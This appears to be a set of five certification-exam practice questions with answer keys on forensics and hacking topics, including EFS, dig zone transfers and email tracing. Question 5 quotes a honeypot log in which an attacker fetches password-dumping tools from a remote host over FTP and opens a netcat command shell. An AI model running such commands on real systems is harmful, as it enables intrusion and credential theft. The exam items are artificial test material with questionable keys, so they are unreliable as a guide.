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QUESTION 1

An Employee is suspected of stealing proprietary information belonging to your company that he had no rights to
possess. The information was stored on the Employees Computer that was protected with the NTFS Encrypted File
System (EFS) and you had observed him copy the files to a floppy disk just before leaving work for the weekenD. You
detain the Employee before he leaves the building and recover the floppy disks and secure his computer. Will you be
able to break the encryption so that you can verify that that the employee was in possession of the proprietary
information? 

A. EFS uses a 128- bit key that can t be cracked, so you will not be able to recover the information 

B. When the encrypted file was copied to the floppy disk, it was automatically unencrypted, so you can recover the
information 

C. The EFS Revoked Key Agent can be used on the Computer to recover the information 

D. When the Encrypted file was copied to the floppy disk, the EFS private key was also copied to the floppy disk, so you
can recover the information. 

Correct Answer: B 

 

QUESTION 2

In Linux, what is the smallest possible shellcode? 

A. 800 bytes 

B. 8 bytes 

C. 80 bytes 

D. 24 bytes 

Correct Answer: D 

 

QUESTION 3

Simon is a former employee of Trinitron XML Inc. He feels he was wrongly terminated and wants to hack into his former
company\\'s network. Since Simon remembers some of the server names, he attempts to run the axfr and ixfr
commands using DIG. What is Simon trying to accomplish here? 

A. Enumerate all the users in the domain 

B. Perform DNS poisoning 

C. Send DOS commands to crash the DNS servers 

D. Perform a zone transfer 

Correct Answer: D 
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QUESTION 4

You have been asked to investigate after a user has reported a threatening e-mail they have received from an external
source. Which of the following are you most interested in when trying to trace the source of the message? 

A. The X509 Address 

B. The SMTP reply Address 

C. The E-mail Header 

D. The Host Domain Name 

Correct Answer: C 

 

QUESTION 5

The following excerpt is taken from a honeypot log that was hosted at laB. wiretrip.net. Snort reported Unicode attacks
from 213.116.251.162. The File Permission Canonicalization vulnerability (UNICODE attack) allows scripts to be run in 

arbitrary folders that do not normally have the right to run scripts. The attacker tries a Unicode attack and eventually
succeeds in displaying boot.ini. He then switches to playing with RDS, via msadcs.dll. The RDS vulnerability allows a 

malicious user to construct SQL statements that will execute shell commands (such as CMD. EXE) on the IIS server. He
does a quick query to discover that the directory exists, and a query to msadcs.dll shows that it is functioning correctly. 

The attacker makes a RDS query which results in the commands run as shown below. 

“cmd1.exe /c open 213.116.251.162 >ftpcom” 

“cmd1.exe /c echo johna2k >>ftpcom” 

“cmd1.exe /c echo 

haxedj00 >>ftpcom” 

“cmd1.exe /c echo get n 

C. 

exe >>ftpcom” 

“cmd1.exe /c echo get pdump.exe >>ftpcom” 

“cmd1.exe /c echo get samdump.dll >>ftpcom” 

“cmd1.exe /c echo quit >>ftpcom” 

“cmd1.exe /c ftps: 

ftpcom” 

“cmd1.exe /c nc 
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-l -p 6969 e cmd1.exe” 

What can you infer from the exploit given? 

A. It is a local exploit where the attacker logs in using username johna2k 

B. There are two attackers on the system -johna2k and haxedj00 

C. The attack is a remote exploit and the hacker downloads three files 

D. The attacker is unsuccessful in spawning a shell as he has specified a high end UDP port 

Correct Answer: C 
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